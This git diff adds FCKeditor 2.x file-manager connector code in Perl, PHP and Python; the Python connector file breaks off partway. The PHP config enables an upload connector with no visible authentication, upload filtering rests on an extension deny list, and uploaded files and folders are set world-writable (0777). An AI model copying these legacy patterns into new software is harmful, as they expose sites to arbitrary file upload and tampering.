+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: util.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+sub RemoveFromStart
+{
+       local($sourceString, $charToRemove) = @_;
+       $sPattern = '^' . $charToRemove . '+' ;
+       $sourceString =~ s/^$charToRemove+//g;
+       return $sourceString;
+}
+
+sub RemoveFromEnd
+{
+       local($sourceString, $charToRemove) = @_;
+       $sPattern = $charToRemove . '+$' ;
+       $sourceString =~ s/$charToRemove+$//g;
+       return $sourceString;
+}
+
+sub ConvertToXmlAttribute
+{
+       local($value) = @_;
+       return $value;
+#      return utf8_encode(htmlspecialchars($value));
+
+}
+
+sub specialchar_cnv
+{
+       local($ch) = @_;
+
+       $ch =~ s/&/&amp;/g;             # &
+       $ch =~ s/\"/&quot;/g;   #"
+       $ch =~ s/\'/&#39;/g;    # '
+       $ch =~ s/</&lt;/g;              # <
+       $ch =~ s/>/&gt;/g;              # >
+       return($ch);
+}
+
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/basexml.php b/fckeditor/editor/filemanager/browser/default/connectors/php/basexml.php
new file mode 100755 (executable)
index 0000000..4724d7e
--- /dev/null
@@ -0,0 +1,79 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: basexml.php
+ *     These functions define the base of the XML response sent by the PHP
+ *     connector.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function SetXmlHeaders()
+{
+       ob_end_clean() ;
+
+       // Prevent the browser from caching the result.
+       // Date in the past
+       header('Expires: Mon, 26 Jul 1997 05:00:00 GMT') ;
+       // always modified
+       header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT') ;
+       // HTTP/1.1
+       header('Cache-Control: no-store, no-cache, must-revalidate') ;
+       header('Cache-Control: post-check=0, pre-check=0', false) ;
+       // HTTP/1.0
+       header('Pragma: no-cache') ;
+
+       // Set the response format.
+       header( 'Content-Type:text/xml; charset=utf-8' ) ;
+}
+
+function CreateXmlHeader( $command, $resourceType, $currentFolder )
+{
+       SetXmlHeaders() ;
+       
+       // Create the XML document header.
+       echo '<?xml version="1.0" encoding="utf-8" ?>' ;
+
+       // Create the main "Connector" node.
+       echo '<Connector command="' . $command . '" resourceType="' . $resourceType . '">' ;
+       
+       // Add the current folder node.
+       echo '<CurrentFolder path="' . ConvertToXmlAttribute( $currentFolder ) . '" url="' . ConvertToXmlAttribute( GetUrlFromPath( $resourceType, $currentFolder ) ) . '" />' ;
+}
+
+function CreateXmlFooter()
+{
+       echo '</Connector>' ;
+}
+
+function SendError( $number, $text )
+{
+       SetXmlHeaders() ;
+       
+       // Create the XML document header
+       echo '<?xml version="1.0" encoding="utf-8" ?>' ;
+       
+       echo '<Connector><Error number="' . $number . '" text="' . htmlspecialchars( $text ) . '" /></Connector>' ;
+       
+       exit ;
+}
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/commands.php b/fckeditor/editor/filemanager/browser/default/connectors/php/commands.php
new file mode 100755 (executable)
index 0000000..8b2d0bd
--- /dev/null
@@ -0,0 +1,226 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: commands.php
+ *     This is the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function GetFolders( $resourceType, $currentFolder )
+{
+       // Map the virtual path to the local server path.
+       $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+       // Array that will hold the folders names.
+       $aFolders       = array() ;
+
+       $oCurrentFolder = opendir( $sServerDir ) ;
+
+       while ( $sFile = readdir( $oCurrentFolder ) )
+       {
+               if ( $sFile != '.' && $sFile != '..' && is_dir( $sServerDir . $sFile ) )
+                       $aFolders[] = '<Folder name="' . ConvertToXmlAttribute( $sFile ) . '" />' ;
+       }
+
+       closedir( $oCurrentFolder ) ;
+
+       // Open the "Folders" node.
+       echo "<Folders>" ;
+       
+       natcasesort( $aFolders ) ;
+       foreach ( $aFolders as $sFolder )
+               echo $sFolder ;
+
+       // Close the "Folders" node.
+       echo "</Folders>" ;
+}
+
+function GetFoldersAndFiles( $resourceType, $currentFolder )
+{
+       // Map the virtual path to the local server path.
+       $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+       // Arrays that will hold the folders and files names.
+       $aFolders       = array() ;
+       $aFiles         = array() ;
+
+       $oCurrentFolder = opendir( $sServerDir ) ;
+
+       while ( $sFile = readdir( $oCurrentFolder ) )
+       {
+               if ( $sFile != '.' && $sFile != '..' )
+               {
+                       if ( is_dir( $sServerDir . $sFile ) )
+                               $aFolders[] = '<Folder name="' . ConvertToXmlAttribute( $sFile ) . '" />' ;
+                       else
+                       {
+                               $iFileSize = filesize( $sServerDir . $sFile ) ;
+                               if ( $iFileSize > 0 )
+                               {
+                                       $iFileSize = round( $iFileSize / 1024 ) ;
+                                       if ( $iFileSize < 1 ) $iFileSize = 1 ;
+                               }
+
+                               $aFiles[] = '<File name="' . ConvertToXmlAttribute( $sFile ) . '" size="' . $iFileSize . '" />' ;
+                       }
+               }
+       }
+
+       // Send the folders
+       natcasesort( $aFolders ) ;
+       echo '<Folders>' ;
+
+       foreach ( $aFolders as $sFolder )
+               echo $sFolder ;
+
+       echo '</Folders>' ;
+
+       // Send the files
+       natcasesort( $aFiles ) ;
+       echo '<Files>' ;
+
+       foreach ( $aFiles as $sFiles )
+               echo $sFiles ;
+
+       echo '</Files>' ;
+}
+
+function CreateFolder( $resourceType, $currentFolder )
+{
+       $sErrorNumber   = '0' ;
+       $sErrorMsg              = '' ;
+
+       if ( isset( $_GET['NewFolderName'] ) )
+       {
+               $sNewFolderName = $_GET['NewFolderName'] ;
+
+               if ( strpos( $sNewFolderName, '..' ) !== FALSE )
+                       $sErrorNumber = '102' ;         // Invalid folder name.
+               else
+               {
+                       // Map the virtual path to the local server path of the current folder.
+                       $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+                       if ( is_writable( $sServerDir ) )
+                       {
+                               $sServerDir .= $sNewFolderName ;
+
+                               $sErrorMsg = CreateServerFolder( $sServerDir ) ;
+
+                               switch ( $sErrorMsg )
+                               {
+                                       case '' :
+                                               $sErrorNumber = '0' ;
+                                               break ;
+                                       case 'Invalid argument' :
+                                       case 'No such file or directory' :
+                                               $sErrorNumber = '102' ;         // Path too long.
+                                               break ;
+                                       default :
+                                               $sErrorNumber = '110' ;
+                                               break ;
+                               }
+                       }
+                       else
+                               $sErrorNumber = '103' ;
+               }
+       }
+       else
+               $sErrorNumber = '102' ;
+
+       // Create the "Error" node.
+       echo '<Error number="' . $sErrorNumber . '" originalDescription="' . ConvertToXmlAttribute( $sErrorMsg ) . '" />' ;
+}
+
+function FileUpload( $resourceType, $currentFolder )
+{
+       $sErrorNumber = '0' ;
+       $sFileName = '' ;
+
+       if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )
+       {
+               global $Config ;
+
+               $oFile = $_FILES['NewFile'] ;
+
+               // Map the virtual path to the local server path.
+               $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+               // Get the uploaded file name.
+               $sFileName = $oFile['name'] ;
+               
+               // Replace dots in the name with underscores (only one dot can be there... security issue).
+               if ( $Config['ForceSingleExtension'] )
+                       $sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;
+
+               $sOriginalFileName = $sFileName ;
+
+               // Get the extension.
+               $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
+               $sExtension = strtolower( $sExtension ) ;
+
+               $arAllowed      = $Config['AllowedExtensions'][$resourceType] ;
+               $arDenied       = $Config['DeniedExtensions'][$resourceType] ;
+
+               if ( ( count($arAllowed) == 0 || in_array( $sExtension, $arAllowed ) ) && ( count($arDenied) == 0 || !in_array( $sExtension, $arDenied ) ) )
+               {
+                       $iCounter = 0 ;
+
+                       while ( true )
+                       {
+                               $sFilePath = $sServerDir . $sFileName ;
+
+                               if ( is_file( $sFilePath ) )
+                               {
+                                       $iCounter++ ;
+                                       $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
+                                       $sErrorNumber = '201' ;
+                               }
+                               else
+                               {
+                                       move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
+
+                                       if ( is_file( $sFilePath ) )
+                                       {
+                                               $oldumask = umask(0) ;
+                                               chmod( $sFilePath, 0777 ) ;
+                                               umask( $oldumask ) ;
+                                       }
+
+                                       break ;
+                               }
+                       }
+               }
+               else
+                       $sErrorNumber = '202' ;
+       }
+       else
+               $sErrorNumber = '202' ;
+
+       echo '<script type="text/javascript">' ;
+       echo 'window.parent.frames["frmUpload"].OnUploadCompleted(' . $sErrorNumber . ',"' . str_replace( '"', '\\"', $sFileName ) . '") ;' ;
+       echo '</script>' ;
+
+       exit ;
+}
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/config.php b/fckeditor/editor/filemanager/browser/default/connectors/php/config.php
new file mode 100755 (executable)
index 0000000..ae08126
--- /dev/null
@@ -0,0 +1,58 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: config.php
+ *     Configuration file for the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+global $Config ;
+
+// SECURITY: You must explicitelly enable this "connector". (Set it to "true").
+$Config['Enabled'] = true ;
+
+// Path to user files relative to the document root.
+$Config['UserFilesPath'] = BASE_URL.'userfiles/';//'/~matrix/www.setup.com/userfiles/' ;
+
+// Fill the following value it you prefer to specify the absolute path for the
+// user files directory. Usefull if you are using a virtual directory, symbolic
+// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
+// Attention: The above 'UserFilesPath' must point to the same directory.
+$Config['UserFilesAbsolutePath'] = BASE.'userfiles/';//'/home/matrix/www/www.setup.com/userfiles/' ;
+
+// Due to security issues with Apache modules, it is reccomended to leave the
+// following setting enabled.
+$Config['ForceSingleExtension'] = true ;
+
+$Config['AllowedExtensions']['File']   = array() ;
+$Config['DeniedExtensions']['File']            = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;
+
+$Config['AllowedExtensions']['Image']  = array('jpg','gif','jpeg','png') ;
+$Config['DeniedExtensions']['Image']   = array() ;
+
+$Config['AllowedExtensions']['Flash']  = array('swf','fla') ;
+$Config['DeniedExtensions']['Flash']   = array() ;
+
+$Config['AllowedExtensions']['Media']  = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
+$Config['DeniedExtensions']['Media']   = array() ;
+
+?>
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php b/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php
new file mode 100755 (executable)
index 0000000..cbf5e7f
--- /dev/null
@@ -0,0 +1,119 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.php
+ *     This is the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+ob_start() ;
+
+//include('/home/matrix/www/www.setup.com/setup.phtml');
+include('../../../../../../../setup.phtml');
+include('config.php') ;
+include('util.php') ;
+include('io.php') ;
+include('basexml.php') ;
+include('commands.php') ;
+
+if ( !$Config['Enabled'] )
+       SendError( 1, 'This connector is disabled. Please check the "editor/filemanager/browser/default/connectors/php/config.php" file' ) ;
+
+// Get the "UserFiles" path.
+$GLOBALS["UserFilesPath"] = '' ;
+
+if ( isset( $Config['UserFilesPath'] ) )
+       $GLOBALS["UserFilesPath"] = $Config['UserFilesPath'] ;
+else if ( isset( $_GET['ServerPath'] ) )
+       $GLOBALS["UserFilesPath"] = $_GET['ServerPath'] ;
+else
+       $GLOBALS["UserFilesPath"] = '/userfiles/' ;
+
+if ( ! ereg( '/$', $GLOBALS["UserFilesPath"] ) )
+       $GLOBALS["UserFilesPath"] .= '/' ;
+
+if ( strlen( $Config['UserFilesAbsolutePath'] ) > 0 ) 
+{
+       $GLOBALS["UserFilesDirectory"] = $Config['UserFilesAbsolutePath'] ;
+
+       if ( ! ereg( '/$', $GLOBALS["UserFilesDirectory"] ) )
+               $GLOBALS["UserFilesDirectory"] .= '/' ;
+}
+else
+{
+       // Map the "UserFiles" path to a local directory.
+       $GLOBALS["UserFilesDirectory"] = GetRootPath() . $GLOBALS["UserFilesPath"] ;
+}
+
+DoResponse() ;
+
+function DoResponse()
+{
+       if ( !isset( $_GET['Command'] ) || !isset( $_GET['Type'] ) || !isset( $_GET['CurrentFolder'] ) )
+               return ;
+
+       // Get the main request informaiton.
+       $sCommand               = $_GET['Command'] ;
+       $sResourceType  = $_GET['Type'] ;
+       $sCurrentFolder = $_GET['CurrentFolder'] ;
+
+       // Check if it is an allowed type.
+       if ( !in_array( $sResourceType, array('File','Image','Flash','Media') ) )
+               return ;
+
+       // Check the current folder syntax (must begin and start with a slash).
+       if ( ! ereg( '/$', $sCurrentFolder ) ) $sCurrentFolder .= '/' ;
+       if ( strpos( $sCurrentFolder, '/' ) !== 0 ) $sCurrentFolder = '/' . $sCurrentFolder ;
+       
+       // Check for invalid folder paths (..)
+       if ( strpos( $sCurrentFolder, '..' ) )
+               SendError( 102, "" ) ;
+
+       // File Upload doesn't have to Return XML, so it must be intercepted before anything.
+       if ( $sCommand == 'FileUpload' )
+       {
+               FileUpload( $sResourceType, $sCurrentFolder ) ;
+               return ;
+       }
+
+       CreateXmlHeader( $sCommand, $sResourceType, $sCurrentFolder ) ;
+
+       // Execute the required command.
+       switch ( $sCommand )
+       {
+               case 'GetFolders' :
+                       GetFolders( $sResourceType, $sCurrentFolder ) ;
+                       break ;
+               case 'GetFoldersAndFiles' :
+                       GetFoldersAndFiles( $sResourceType, $sCurrentFolder ) ;
+                       break ;
+               case 'CreateFolder' :
+                       CreateFolder( $sResourceType, $sCurrentFolder ) ;
+                       break ;
+       }
+
+       CreateXmlFooter() ;
+
+       exit ;
+}
+?>
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/io.php b/fckeditor/editor/filemanager/browser/default/connectors/php/io.php
new file mode 100755 (executable)
index 0000000..bd2ccd9
--- /dev/null
@@ -0,0 +1,105 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: io.php
+ *     This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function GetUrlFromPath( $resourceType, $folderPath )
+{
+       if ( $resourceType == '' )
+               return RemoveFromEnd( $GLOBALS["UserFilesPath"], '/' ) . $folderPath ;
+       else
+               return $GLOBALS["UserFilesPath"] . strtolower( $resourceType ) . $folderPath ;
+}
+
+function RemoveExtension( $fileName )
+{
+       return substr( $fileName, 0, strrpos( $fileName, '.' ) ) ;
+}
+
+function ServerMapFolder( $resourceType, $folderPath )
+{
+       // Get the resource type directory.
+       $sResourceTypePath = $GLOBALS["UserFilesDirectory"] . strtolower( $resourceType ) . '/' ;
+
+       // Ensure that the directory exists.
+       CreateServerFolder( $sResourceTypePath ) ;
+
+       // Return the resource type directory combined with the required path.
+       return $sResourceTypePath . RemoveFromStart( $folderPath, '/' ) ;
+}
+
+function GetParentFolder( $folderPath )
+{
+       $sPattern = "-[/\\\\][^/\\\\]+[/\\\\]?$-" ;
+       return preg_replace( $sPattern, '', $folderPath ) ;
+}
+
+function CreateServerFolder( $folderPath )
+{
+       $sParent = GetParentFolder( $folderPath ) ;
+
+       // Check if the parent exists, or create it.
+       if ( !file_exists( $sParent ) )
+       {
+               $sErrorMsg = CreateServerFolder( $sParent ) ;
+               if ( $sErrorMsg != '' )
+                       return $sErrorMsg ;
+       }
+
+       if ( !file_exists( $folderPath ) )
+       {
+               // Turn off all error reporting.
+               error_reporting( 0 ) ;
+               // Enable error tracking to catch the error.
+               ini_set( 'track_errors', '1' ) ;
+
+               // To create the folder with 0777 permissions, we need to set umask to zero.
+               $oldumask = umask(0) ;
+               mkdir( $folderPath, 0777 ) ;
+               umask( $oldumask ) ;
+
+               $sErrorMsg = $php_errormsg ;
+
+               // Restore the configurations.
+               ini_restore( 'track_errors' ) ;
+               ini_restore( 'error_reporting' ) ;
+
+               return $sErrorMsg ;
+       }
+       else
+               return '' ;
+}
+
+function GetRootPath()
+{
+       $sRealPath = realpath( './' ) ;
+
+       $sSelfPath = $_SERVER['PHP_SELF'] ;
+       $sSelfPath = substr( $sSelfPath, 0, strrpos( $sSelfPath, '/' ) ) ;
+
+       return substr( $sRealPath, 0, strlen( $sRealPath ) - strlen( $sSelfPath ) ) ;
+}
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/util.php b/fckeditor/editor/filemanager/browser/default/connectors/php/util.php
new file mode 100755 (executable)
index 0000000..0cf238f
--- /dev/null
@@ -0,0 +1,45 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: util.php
+ *     Utility functions for the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function RemoveFromStart( $sourceString, $charToRemove )
+{
+       $sPattern = '|^' . $charToRemove . '+|' ;
+       return preg_replace( $sPattern, '', $sourceString ) ;
+}
+
+function RemoveFromEnd( $sourceString, $charToRemove )
+{
+       $sPattern = '|' . $charToRemove . '+$|' ;
+       return preg_replace( $sPattern, '', $sourceString ) ;
+}
+
+function ConvertToXmlAttribute( $value )
+{
+       return utf8_encode( htmlspecialchars( $value ) ) ;
+}
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/py/connector.py b/fckeditor/editor/filemanager/browser/default/connectors/py/connector.py
new file mode 100755 (executable)
index 0000000..baa9f0b
--- /dev/null
@@ -0,0 +1,789 @@
+#!/usr/bin/env python
+
+"""
+FCKeditor - The text editor for Internet - http://www.fckeditor.net
+Copyright (C) 2003-2007 Frederico Caldeira Knabben
+
+== BEGIN LICENSE ==
+
+Licensed under the terms of any of the following licenses at your
+choice:
+
+ - GNU General Public License Version 2 or later (the "GPL")
+   http://www.gnu.org/licenses/gpl.html
+
+ - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+   http://www.gnu.org/licenses/lgpl.html
+
+ - Mozilla Public License Version 1.1 or later (the "MPL")
+   http://www.mozilla.org/MPL/MPL-1.1.html
+
+== END LICENSE ==
+
+File Name: connector.py
+       Connector for Python.
+       
+       Tested With:
+       Standard:
+               Python 2.3.3
+       Zope:
+               Zope Version: (Zope 2.8.1-final, python 2.3.5, linux2)
+               Python Version: 2.3.5 (#4, Mar 10 2005, 01:40:25) 
+                       [GCC 3.3.3 20040412 (Red Hat Linux 3.3.3-7)]
+               System Platform: linux2 
+
+File Authors:
+               Andrew Liu (andrew@liuholdings.com)
+"""
+
+"""
+Author Notes (04 December 2005):
+This module has gone through quite a few phases of change.  Obviously,
+I am only supporting that part of the code that I use.  Initially
+I had the upload directory as a part of zope (ie. uploading files
+directly into Zope), before realising that there were too many 
+complex intricacies within Zope to deal with.  Zope is one ugly piece
+of code.  So I decided to complement Zope by an Apache server (which
+I had running anyway, and doing nothing).  So I mapped all uploads
+from an arbitrary server directory to an arbitrary web directory.
+All the FCKeditor uploading occurred this way, and I didn't have to
+stuff around with fiddling with Zope objects and the like (which are
+terribly complex and something you don't want to do - trust me).
+
+Maybe a Zope expert can touch up the Zope components.  In the end, 
+I had FCKeditor loaded in Zope (probably a bad idea as well), and
+I replaced the connector.py with an alias to a server module.
+Right now, all Zope components will simple remain as is because
+I've had enough of Zope.
+
+See notes right at the end of this file for how I aliased out of Zope.
+
+Anyway, most of you probably wont use Zope, so things are pretty
+simple in that regard.
+
+Typically, SERVER_DIR is the root of WEB_DIR (not necessarily).
+Most definitely, SERVER_USERFILES_DIR points to WEB_USERFILES_DIR.
+"""
+
+import cgi
+import re
+import os
+import string
+
+"""
+escape
+
+Converts the special characters '<', '>', and '&'.
+
+RFC 1866 specifies that these characters be represented
+in HTML as &lt; &gt; and &amp; respectively. In Python
+1.5 we use the new string.replace() function for speed.
+"""
+def escape(text, replace=string.replace):
+    text = replace(text, '&', '&amp;') # must be done 1st
+    text = replace(text, '<', '&lt;')
+    text = replace(text, '>', '&gt;')
+    text = replace(text, '"', '&quot;')
+    return text
+
+"""
+getFCKeditorConnector
+
+Creates a new instance of an FCKeditorConnector, and runs it
+"""
+def getFCKeditorConnector(context=None):
+       # Called from Zope.  Passes the context through
+       connector = FCKeditorConnector(context=context)
+       return connector.run()
+
+
+"""
+FCKeditorRequest
+
+A wrapper around the request object
+Can handle normal CGI request, or a Zope request
+Extend as required
+"""
+class FCKeditorRequest(object):
+       def __init__(self, context=None):
+               if (context is not None):
+                       r = context.REQUEST
+               else:
+                       r = cgi.FieldStorage()
+               self.context = context
+               self.request = r
+
+       def isZope(self):
+               if (self.context is not None):
+                       return True
+               return False
+
+       def has_key(self, key):
+               return self.request.has_key(key)
+
+       def get(self, key, default=None):
+               value = None
+               if (self.isZope()):
+                       value = self.request.get(key, default)
+               else:
+                       if key in self.request.keys():
+                               value = self.request[key].value
+                       else:
+                               value = default
+               return value
+
+"""
+FCKeditorConnector
+
+The connector class
+"""
+class FCKeditorConnector(object):
+       # Configuration for FCKEditor
+       # can point to another server here, if linked correctly
+       #WEB_HOST = "http://127.0.0.1/" 
+       WEB_HOST = ""
+       SERVER_DIR = "/var/www/html/"
+
+       WEB_USERFILES_FOLDER = WEB_HOST + "upload/"
+       SERVER_USERFILES_FOLDER = SERVER_DIR + "upload/"
+
+       # Allow access (Zope)
+       __allow_access_to_unprotected_subobjects__ = 1
+       # Class Attributes
+       parentFolderRe = re.compile("[\/][^\/]+[\/]?$")
+
+       """
+       Constructor
+       """
+       def __init__(self, context=None):
+               # The given root path will NOT be shown to the user
+               # Only the userFilesPath will be shown
+
+               # Instance Attributes
+               self.context = context
+               self.request = FCKeditorRequest(context=context)
+               self.rootPath = self.SERVER_DIR
+               self.userFilesFolder = self.SERVER_USERFILES_FOLDER
+               self.webUserFilesFolder = self.WEB_USERFILES_FOLDER
+
+               # Enables / Disables the connector
+               self.enabled = False # Set to True to enable this connector
+
+               # These are instance variables
+               self.zopeRootContext = None
+               self.zopeUploadContext = None
+
+               # Copied from php module =)
+               self.allowedExtensions = {
+                               "File": None,
+                               "Image": None,
+                               "Flash": None,
+                               "Media": None
+                               }
+               self.deniedExtensions = {
+                               "File": [ "html","htm","php","php2","php3","php4","php5","phtml","pwml","inc","asp","aspx","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","htaccess","asis" ],
+                               "Image": [ "html","htm","php","php2","php3","php4","php5","phtml","pwml","inc","asp","aspx","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","htaccess","asis" ],
+                               "Flash": [ "html","htm","php","php2","php3","php4","php5","phtml","pwml","inc","asp","aspx","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","htaccess","asis" ],
+                               "Media": [ "html","htm","php","php2","php3","php4","php5","phtml","pwml","inc","asp","aspx","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","htaccess","asis" ]
+                               }
+
+       """
+       Zope specific functions
+       """
+       def isZope(self):
+               # The context object is the zope object
+               if (self.context is not None):
+                       return True
+               return False
+
+       def getZopeRootContext(self):
+               if self.zopeRootContext is None:
+                       self.zopeRootContext = self.context.getPhysicalRoot()
+               return self.zopeRootContext
+
+       def getZopeUploadContext(self):
+               if self.zopeUploadContext is None:
+                       folderNames = self.userFilesFolder.split("/")
+                       c = self.getZopeRootContext()
+                       for folderName in folderNames:
+                               if (folderName <> ""):
+                                       c = c[folderName]
+                       self.zopeUploadContext = c
+               return self.zopeUploadContext
+
+       """
+       Generic manipulation functions
+       """
+       def getUserFilesFolder(self):
+               return self.userFilesFolder
+
+       def getWebUserFilesFolder(self):
+               return self.webUserFilesFolder
+
+       def getAllowedExtensions(self, resourceType):
+               return self.allowedExtensions[resourceType]
+
+       def getDeniedExtensions(self, resourceType):
+               return self.deniedExtensions[resourceType]
+
+       def removeFromStart(self, string, char):
+               return string.lstrip(char)
+
+       def removeFromEnd(self, string, char):
+               return string.rstrip(char)
+
+       def convertToXmlAttribute(self, value):
+               if (value is None):
+                       value = ""
+               return escape(value)
+
+       def convertToPath(self, path):
+               if (path[-1] <> "/"):
+                       return path + "/"
+               else:
+                       return path
+
+       def getUrlFromPath(self, resourceType, path):
+               if (resourceType is None) or (resourceType == ''):
+                       url = "%s%s" % (
+                                       self.removeFromEnd(self.getUserFilesFolder(), '/'),
+                                       path
+                                       )
+               else:
+                       url = "%s%s%s" % (
+                                       self.getUserFilesFolder(),
+                                       resourceType,
+                                       path
+                                       )
+               return url
+
+       def getWebUrlFromPath(self, resourceType, path):
+               if (resourceType is None) or (resourceType == ''):
+                       url = "%s%s" % (
+                                       self.removeFromEnd(self.getWebUserFilesFolder(), '/'),
+                                       path
+                                       )
+               else:
+                       url = "%s%s%s" % (
+                                       self.getWebUserFilesFolder(),
+                                       resourceType,
+                                       path
+                                       )
+               return url
+
+       def removeExtension(self, fileName):
+               index = fileName.rindex(".")
+               newFileName = fileName[0:index]
+               return newFileName
+
+       def getExtension(self, fileName):
+               index = fileName.rindex(".") + 1
+               fileExtension = fileName[index:]
